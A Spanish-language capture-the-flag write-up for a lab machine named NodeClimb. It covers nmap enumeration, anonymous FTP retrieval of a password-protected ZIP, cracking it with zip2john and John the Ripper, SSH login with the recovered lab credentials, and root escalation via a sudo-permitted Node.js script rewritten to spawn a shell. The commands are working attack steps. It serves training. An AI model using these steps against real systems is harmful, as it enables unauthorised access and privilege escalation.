MAQUINA NODECLIMB (FTP anonymous - zip2john - PrivEsc 'binario NODE')
Enumere de puertos, servicios y versiones.
nmap -p- --open --min-rate 2000 -n -Pn -sS 172.17.0.2
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-02 09:52 -03
Nmap scan report for 172.17.0.2
Host is up (0.0000060s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
MAC Address: 02:42:AC:11:00:02 (Unknown)
nmap -p22,21 -sCV 172.17.0.2
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-02 09:54 -03
Nmap scan report for realgob.dl (172.17.0.2)
Host is up (0.00010s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 242 Jul 05 2024 secretitopicaron.zip
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:172.17.0.1
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 cd:1f:3b:2d:c4:0b:99:03:e6:a3:5c:26:f5:4b:47:ae (ECDSA)
|_ 256 a0:d4:92:f6:9b:db:12:2b:77:b6:b1:58:e0:70:56:f0 (ED25519)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
El servicio FTP tiene acceso como anonymous, a su ves posee un archivo .zip interesante.
ftp <ip>
login: anonymous
password: anonymous o enter
Con "get" descargo el archivo ZIP, luego para descomprimirlo con "7z" (comando: 7z x archivo.zip) este me solicita un password el cual no se cual es.
Para estos casos use la herramienta zip2john para obtener el hash de la contraseña y luego con john the ripper romper dicho hash.
zip2john archivo.zip > hash
Mediante john obtuve la contraseña, luego descomprimí el archivo ZIP y me devolvió un archivo llamado password.txt donde almacena unas credenciales
mario:laKontraseñAmasmalotaHdelbarrioH
Como tengo el puerto 22 open, con estas credenciales ingrese a la maquina.
Una ves logueado revise información del sistema, y en la carpeta /home/mario al listar su contenido vi que tengo acceso al .bash_history donde dentro contiene algunos comandos ya utilizados.
Se esta ejecutando un sudo -l y a su vez se ejecuta el siguiente comando usando "NODE".
sudo -l
/usr/bin/node
sudo /usr/bin/node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
Qué hace exactamente?
sudo: lo ejecutas con privilegios.
/usr/bin/node: usas Node.js.
-e '...': ejecutas una línea de código inline.
require("child_process").spawn(...): crea un nuevo proceso (en este caso,
/bin/sh
) con entrada/salida conectadas al terminal.
Que es /usr/bin/node?
El binario /usr/bin/node
==es el ejecutable principal del entorno de ejecución Node.js==. Es el archivo que se utiliza para ejecutar código JavaScript en el servidor, permitiendo a los desarrolladores construir aplicaciones web, herramientas de línea de comandos, y más, utilizando JavaScript fuera del navegador. En esencia, es la herramienta que traduce y ejecuta el código JavaScript en un entorno no-navegador
Use el comando sudo -l y me devolvió lo siguiente:
(ALL) NOPASSWD: /usr/bin/node /home/mario/script.js
Significa que el usuario mario puede ejecutar ese script específico (/home/mario/script.js
) utilizando sudo, sin que se le pida la contraseña, y puede hacerlo como cualquier usuario (generalmente root), porque:
(ALL)
→ Aplica a todos los usuarios del sistema como objetivo (root
incluido).
NOPASSWD:
→ No necesita ingresar su contraseña al ejecutar ese comando vía sudo
.
/usr/bin/node /home/mario/script.js
→ Específicamente permite ejecutar solo ese comando exacto con sudo
.
Como Mario tengo permisos de escritura en el archivo script.js, para explotar esto lo que hice fue tomar el comando que se encuentra en el Historial, agregarlo al script.js y por ultimo ejecutarlo como root.
mario@679b03864eab:~$ echo 'require("child_process").spawn("/bin/bash", {stdio: "inherit"});' > /home/mario/script.js
mario@679b03864eab:~$ cat script.js
require("child_process").spawn("/bin/bash", {stdio: "inherit"});
mario@679b03864eab:~$ sudo -u root /usr/bin/node /home/mario/script.js
root@679b03864eab:/home/mario# whoami
root
Last updated